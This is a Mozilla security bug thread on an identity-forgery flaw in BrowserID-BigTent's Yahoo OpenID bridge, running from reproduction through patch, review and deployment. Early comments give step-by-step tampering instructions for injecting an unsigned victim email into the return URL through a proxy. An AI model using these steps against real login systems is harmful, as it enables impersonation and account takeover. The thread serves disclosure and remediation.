920301 - Identity Forgery in BrowserID-BigTent

Status: RESOLVED FIXED

(Cloud Services :: Server: Identity, defect)

Description

[David Chan [:dchan]]

+++ This bug was initially created as a clone of Bug #920030 +++

Dan Callahan [:callahad] 2013-09-24 12:56:28 PDT

I'm back on a network and awake for another couple of hours. Want me to roll up an RPM with this? How can I help?

ALSO: Have we verified that bigtent is unaffected?

--------

I've verified that the bug also affects BigTent. A couple different fields have to be modified

The signin makes a request similar to

GET https://open.login.yahooapis.com/openid/op/auth?openid.sreg.optional=nickname%2Cemail%2Cfullname%2Cdob%2Cgender%2Cpostcode%2Ccountry%2Clanguage%2Ctimezone&openid.ax.type.email=http%3A%2F%2Faxschema.org%2Fcontact%2Femail&openid.ax.required=firstname%2Clastname%2Cemail&openid.return_to=https%3A%2F%2Fyahoo.login.persona.org%2Fauth%2Fyahoo%2Freturn&openid.realm=https%3A%2F%2Fyahoo.login.persona.org%2F

I've filtered out some of the fields
Following :warner's instructions from the previous bug. Delete the keys/values for openid.ax.type.email and email in openid.ax.required . I also deleted openid.sreg.optional email as well, though I'm not sure if that is needed.

Then on the request to
https://yahoo.login.persona.org/auth/yahoo/return?...

Add back in openid.ax...

&openid.ax.type.email=http%3A%2F%2Faxschema.org%2Fcontact%2Femail&openid.ax.value.email=zzz%40yahoo.com


The .ext1 attack doesn't work in this case since Google performs a special attribute mapping using openid.ns.ext1 whereas Yahoo doesn't

Comment 1

[David Chan [:dchan]]

To clarify on the steps

The first request is to
https://open.login.yahooapis.com/openid/op/auth?...openid.return_to=https%3A%2F%2Fyahoo.login.persona.org%2Fauth%2Fyahoo%2Freturn&openid.realm=https%3A%2F%2Fyahoo.login.persona.org%2F

Delete openid.ax.type.email
Change openid.ax.required to "firstname%2Clastname"
Change openid.sreg.optional to "nickname%2Cfullname%2Cdob%2Cgender%2Cpostcode%2Ccountry%2Clanguage%2Ctimezone"

Exclude quotes in all cases

Intercept request to 
https://yahoo.login.persona.org/auth/yahoo/return?...

Add this to the end
"&openid.ax.type.email=http%3A%2F%2Faxschema.org%2Fcontact%2Femail&openid.ax.value.email=VICTIM%40yahoo.com"

Comment 2

[Brian Warner [:warner :bwarner]]

Attachment: mitmproxy exploit script

mitmproxy script using dchan's URLs and fields. This reproduces the bug for me: set up the proxy, load www.123done.org, tell persona you're signing in as "[e-mail]", then you get bounced to yahoo. Sign into yahoo with any valid yahoo account, then you get bounced back and signed into 123done as victim2.

Comment 3

[Austin King [:ozten]]

Thanks!

I've got a working setup, but haven't reproduced yet.
I actually end up in the error screen.

Digging to see why STR don't work in development mode.

Comment 4

[Austin King [:ozten]]

Okay, I can reproduce well enough to work on this issue.

Comment 5

[Austin King [:ozten]]

In Bigtent, we uses stateless (dumb) mode so verification is provided by Yahoo.

We ask the provider to verify this:
{ 'openid.ns': 'http://specs.openid.net/auth/2.0',
  'openid.mode': 'id_res',
  'openid.return_to': 'http://dev.bigtent.mozilla.org:3030/auth/yahoo/return',
  'openid.claimed_id': 'https://me.yahoo.com/a/wS1JKacQi4p4xQo18GMr_WME7g--#94df6',
  'openid.identity': 'https://me.yahoo.com/a/wS1JKacQi4p4xQo18GMr_WME7g--',
  'openid.realm': 'http://dev.bigtent.mozilla.org:3030/',
  'openid.assoc_handle': '0n.M0XmDQ.ot.dqscTXcH7AFO0zF.I3O_eCBnnQZfkrjtvnoqHaXTK7s1DLePVO_LpjSvgYJyTAODePffDrtRVu81rnGXSK98Qa5hDwgUhVepOtmj9UEy7FTtGQMXLqZ',
  'openid.response_nonce': '2013-09-25T02:13:27ZaLRX38stIZu7yIV.xC6ZZjVyjCyPdCg7ZA--',
  'openid.signed': 'assoc_handle,claimed_id,identity,mode,ns,op_endpoint,response_nonce,return_to,signed,pape.auth_level.nist',
  'openid.op_endpoint': 'https://open.login.yahooapis.com/openid/op/auth',
  'openid.pape.auth_level.nist': '0',
  'openid.sig': '2NrogZKQcDubekZHpy0cmydcZEI=',
  'openid.ax.value.email': '[e-mail]',
  'openid.ax.type.email': 'http://axschema.org/contact/email' }

And we get back status code 200
ns:http://specs.openid.net/auth/2.0
is_valid:true
 { date: 'Wed, 25 Sep 2013 02:13:28 GMT',
  p3p: 'policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"',
  vary: 'Accept-Encoding',
  connection: 'close',
  'transfer-encoding': 'chunked',
  'content-type': 'text/plain; charset=utf-8',
  'cache-control': 'private' }


Digging to see what the correct way to verify the mitm query string which we get at /auth/yahoo/return

Comment 6

[Austin King [:ozten]]

A possible mitigation is to check the parameters we're sending to yahoo for verification.
If they lack the keys openid.ax.value.email or openid.ax.type.email, or if the value of openid.signed doesn't include ax.value.email then we throw an error instead of using Yahoo to verify.

Reasoning, in a normal request that isn't mitm, we'd send and receive this:

verify this:
{ 'openid.ns': 'http://specs.openid.net/auth/2.0',
  'openid.mode': 'id_res',
  'openid.return_to': 'http://dev.bigtent.mozilla.org:3030/auth/yahoo/return',
  'openid.claimed_id': 'https://me.yahoo.com/a/wS1JKacQi4p4xQo18GMr_WME7g--#94df6',
  'openid.identity': 'https://me.yahoo.com/a/wS1JKacQi4p4xQo18GMr_WME7g--',
  'openid.realm': 'http://dev.bigtent.mozilla.org:3030/',
  'openid.ns.ax': 'http://openid.net/srv/ax/1.0',
  'openid.ax.mode': 'fetch_response',
  'openid.ax.value.email': '[e-mail]',
  'openid.assoc_handle': 'oB2cNc6_T.o5biAmipXa6dsULSAtK5TTgR5csZVwacTHxb0_NJLYmqR5QXfG63XuPykfcPHRnJ5zmi8mjmRrb2IGXlcSbDn1aXSeb34.4evS62_ZFICsg7NFLNDxxg.ZOg--',
  'openid.response_nonce': '2013-09-25T02:31:23ZFLEmymJYmPpnAF0Xur8wQK2ck1NThQj5jA--',
  'openid.signed': 'assoc_handle,claimed_id,identity,mode,ns,op_endpoint,response_nonce,return_to,signed,ax.value.email,ax.type.email,ns.ax,ax.mode,pape.auth_level.nist',
  'openid.op_endpoint': 'https://open.login.yahooapis.com/openid/op/auth',
  'openid.ax.type.email': 'http://axschema.org/contact/email',
  'openid.pape.auth_level.nist': '0',
  'openid.sig': '5PfIpQ9Pkg+DiTeDqXvAK4DNyxU=' }
got back  200 ns:http://specs.openid.net/auth/2.0
is_valid:true
 { date: 'Wed, 25 Sep 2013 02:31:25 GMT',
  p3p: 'policyref="http://info.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV"',
  vary: 'Accept-Encoding',
  connection: 'close',
  'transfer-encoding': 'chunked',
  'content-type': 'text/plain; charset=utf-8',
  'cache-control': 'private' }

It's quite possible there are better solutions. This one would require changing passport-yahoo, passport-openid, and node-openid. It's not a very clean solution, so it probably can't be upstreamed.

Comment 7

[Austin King [:ozten]]

Actually a simpler fix may be to look at the openid.signed query string paramter of /auth/yahoo/return

during a MITM it will lack those fields also.

Example:

openid.signed=assoc_handle,claimed_id,identity,mode,ns,op_endpoint,response_nonce,return_to,signed,pape.auth_level.nist

Sorry it took me so long to get here ;)

Comment 8

[Sean McArthur [:seanmonstar]]

@ozten:

Exactly, that's what I did in sideshow.

    var signed = req.query['openid.signed'] || '';
    if (signed.split(',').indexOf(OPENID_EMAIL_PARAM) === -1) {
        return res.send(401, 'email not signed');
    } else {
        openid.verifyAssertion(req, cb);
    }

Comment 9

[Austin King [:ozten]]

Okay, I'll apply the same pattern here.

Comment 10

[Austin King [:ozten]]

Attachment: bug_920301.diff

401 pattern doesn't work as well with Bigtent, also we should increment statsd counter and log MITM.

Otherwise a copy of fix for Bug#920030.

Comment 11

[Sean McArthur [:seanmonstar]]

Comment on attachment 809630 [details] [diff] [review]
bug_920301.diff

Review of attachment 809630 [details] [diff] [review]:
-----------------------------------------------------------------

::: server/lib/passport_yahoo.js
@@ +51,5 @@
> +      var signed = req.query['openid.signed'] || '';
> +      if (signed.split(',').indexOf(OPENID_EMAIL_PARAM) === -1) {
> +        statsd.increment('warn.routes.auth.yahoo.return.mitm');
> +        logger.error('MITM detected' + signed);
> +        throw new Error('email not signed');

Is throwing an Error the right action? Won't that bring down the server?

Comment 12

[Austin King [:ozten]]

It will cause our general error screen to be displayed.

http://dl.dropbox.com/u/10060532/Screenshots/QW1h.png

Comment 13

[Austin King [:ozten]]

Attachment: browserid-bigtent.tar.gz

gene, jrgm: I'd prefer if you built the rpm. I think that is the flow we've had going.

In case you want me to build it...
For the attached tar.gz I've applied the patch to train-2013.05.29. I've bumped the spec file to revision 3.

Comment 14

[Gene Wood [:gene]]

jrgm, let me know when you've got an rpm and I can deploy it in staging

Comment 15

[Brian Warner [:warner :bwarner]]

What happens if there are two copies of the "openid.signed" query argument? I've used frameworks that deliver a list of values, but from the patch above it looks like ours returns just a single one (first? last? rejects multiple?). If our parser e.g. accepts the first one, but the yahoo verifier's parser accepts the last, then someone could give us a URL that looks ok to us (first openid.signed includes ax.value.email), but for which yahoo's verification doesn't cover the same value (second openid.signed is the real one, and doesn't include ax.value.email), and we'd be tricked into accepting the same forgery.

(incidentally, this is why a sane signature-verification API really ought to return the thing that was signed, instead of just a boolean)

Comment 16

[Austin King [:ozten]]

Our framework would return an array of strings instead of a string.

Our error handling would handle this and the same error screen would be shown.

Example: http://dev.bigtent.mozilla.org:3030/test_url?openid.signed=foo,bar&openid.signed=buzz,baz

req.query['openid.signed'] gives us ["foo,bar","buzz,baz"]

Comment 17

[Brian Warner [:warner :bwarner]]

ick, what a horrible framework API. How does anyone manage to write correct code in this environment? Especially since ["foo","bar"].indexOf("foo")!==-1 and "fooledyou".indexOf("foo")!==-1 are both true.

I spoke with ozten, he's going to add some type checks around this particular one. I'm hoping (but not super confident) that our other uses of queryargs (fortunately not very common) are safe.

Comment 18

[Austin King [:ozten]]

This hotfix can ship as is.

I'll add the type checking to master.

Comment 19

[John Morrison [:jrgm]]

Okay, I built the rpm on r6, then applied the patch to that repo and built again, bumping the rpm spec version.

new rpm: /home/jrgm/workspace-bigtent-hotfix/browserid-bigtent/rpmbuild/RPMS/x86_64/browserid-bigtent-0.2013.05.29-3.el6_116978.x86_64.rpm

md5sum of rpm: 065ad161a6b3cd7c1467d7c518c61386

The sha in that local repo is 472d9e06039ee29afb2960de6ff993e12fb85ca3. Because bigtent does not use lockdown there are some small changes in modules we use, but looks minor. I'm just going through them now. 

But gene, please build stage stacks and change yahoo.login.anosrep.org to point to them.

Comment 20

[Gene Wood [:gene]]

Stack 0926 is built and up for stage. DNS has been pointed to it for bridge-yahoo. John check this out and we can move to prod

Comment 21

[John Morrison [:jrgm]]

I don't think the right rpm is in place: on 10.148.29.184, rpm -qa shows browserid-bigtent-0.2013.05.29-2.el6_116978.x86_64 installed.

Comment 22

[Gene Wood [:gene]]

Stack 0926 had the wrong rpm due to a mistake on my part. I've built 0927 and pointed bridge-yahoo DNS in stage to it.

Check it out and let me know how it looks.

Comment 23

[Austin King [:ozten]]

> ick, what a horrible framework API. How does anyone manage to write correct code in this environment?

The horror is shared across most web programming languages. This is why we drink.

Comment 24

[John Morrison [:jrgm]]

Gene: stage stack 0927 checks out OK. QA signs off. Can you build new prod stacks for Bigtent, and we can vet that and ship it today. THanks.

Comment 25

[Gene Wood [:gene]]

Prod stacks 0928 are built in both DCs take a look and then we can put taffic on them.

Comment 26

[Gene Wood [:gene]]

0928 stacks are live for yahoo (and gmail)

Comment 27

[g.schmitz]

https://bugzilla.mozilla.org/show_bug.cgi?id=920030#c27 also applies here, so the current fix is not sufficient.

Comment 28

[Daniel Veditz [:dveditz]]

Was there a deployment bug for bigtent like bug 920260 for sideshow? or did that end up covering both? Didn't seem to but maybe I missed it.

Comment 29

[Austin King [:ozten]]

Bigtent was deployed to production last night.

I'm still looking into Bug#920030#c27 as well as evaluating seanmonstar's patch.

I don't see how to fix this in the application layer for Bigtent. I'm looking at patching node-openid:

openid.AttributeExchange.prototype.fillResult = function(params, result)
{
  var extension = _getExtensionAlias(params, 'http://openid.net/srv/ax/1.0') || 'ax';
  var regex = new RegExp('^openid\\.' + extension + '\\.(value|type)\\.(\\w+)$');
  var aliases = {};
  var values = {};

  var signed = [];
  if (params['openid.signed'] && typeof params['openid.signed'] == 'string') {
    signed = params['openid.signed'].split(',');
  }

  for (var k in params)
  {
    if (!params.hasOwnProperty(k)) { continue; }
    if (k.indexOf('openid.') !== 0 ||
        signed.indexOf(k.substring('openid.'.length)) === -1) {
      continue;
    }

    var matches = k.match(regex);

Effectively we only fillResult for signed attributes.

Comment 30

[Austin King [:ozten]]

I'm more comfortable with this explicit approach. The approach in Sideshow https://bugzilla.mozilla.org/attachment.cgi?id=810616&action=edit is to re-examine the query string parameters and implicitly determine that the email address is the signed email address.

To do the explict approach, I'll need to fork node-openid, passport-openid, and passport-yahoo.

@gene: I'll discuss the best approach in IRC with you. Options:
* I just give you a patch and we patch node_modules/passport-yahoo/node_modules/passport-openid/node_modules/openid/openid.js on the server
* In the open, I fork those repos and give you a patch which changes package.json
* I create private repos of bigtent, passport-yahoo, passport-openid and node-openid. We deploy from the private repo
* ???

Comment 31

[Austin King [:ozten]]

Cloned private repos for the stack.

Added patches.

The train-2013.05.29-926-hotfix branch of https://github.com/mozilla/browserid-bigtent_private.git
uses
    git://github.com/mozilla/passport-yahoo_private.git
which uses
    git://github.com/mozilla/passport-openid_private.git
which has the actual hotfix
    git://github.com/mozilla/node-openid_private.git#v0.4.2-proxy-926-hotfix

Comment 32

[John Morrison [:jrgm]]

ozten: I think, in order for me to build out of these private repos, the git urls will need to be, e.g:

-    "passport-yahoo": "git://github.com/mozilla/passport-yahoo_private.git",
+    "passport-yahoo": "git+ssh://[e-mail]:mozilla/passport-yahoo_private.git",

Comment 33

[Austin King [:ozten]]

git+ssh updated on all 3 private repos.

Please try train-2013.05.29-926-hotfix again.

jrgm - Thanks for the fix!

Comment 34

[Austin King [:ozten]]

Attachment: bug920031v1.py

An updated MITM script which has op_endpoint

Comment 35

[Austin King [:ozten]]

If the latest MITM py script is a good test case for op_endpoint... node-openid handles that just fine.

Instead of use using http://evil.doer we get an error "OpenID provider endpoint in assertion response does not match discovered OpenID provider endpoint"

Comment 36

[Austin King [:ozten]]

The fix that is going to production doesn't protect against the "namespaces" variant that warner was researching last night.

I believe I have a fix for that, by including the sideshow fix. This is schedule to be tested and deployed Monday.

Comment 37

[Austin King [:ozten]]

A day late and a dollar short:

For review, please don't merge:
https://github.com/mozilla/browserid-bigtent_private/pull/2/files

Comment 40

[John Morrison [:jrgm]]

The additional fix https://bugzilla.mozilla.org/show_bug.cgi?id=922287 was deployed at Mon Sep 30 15:49:19 PDT 2013. Closing.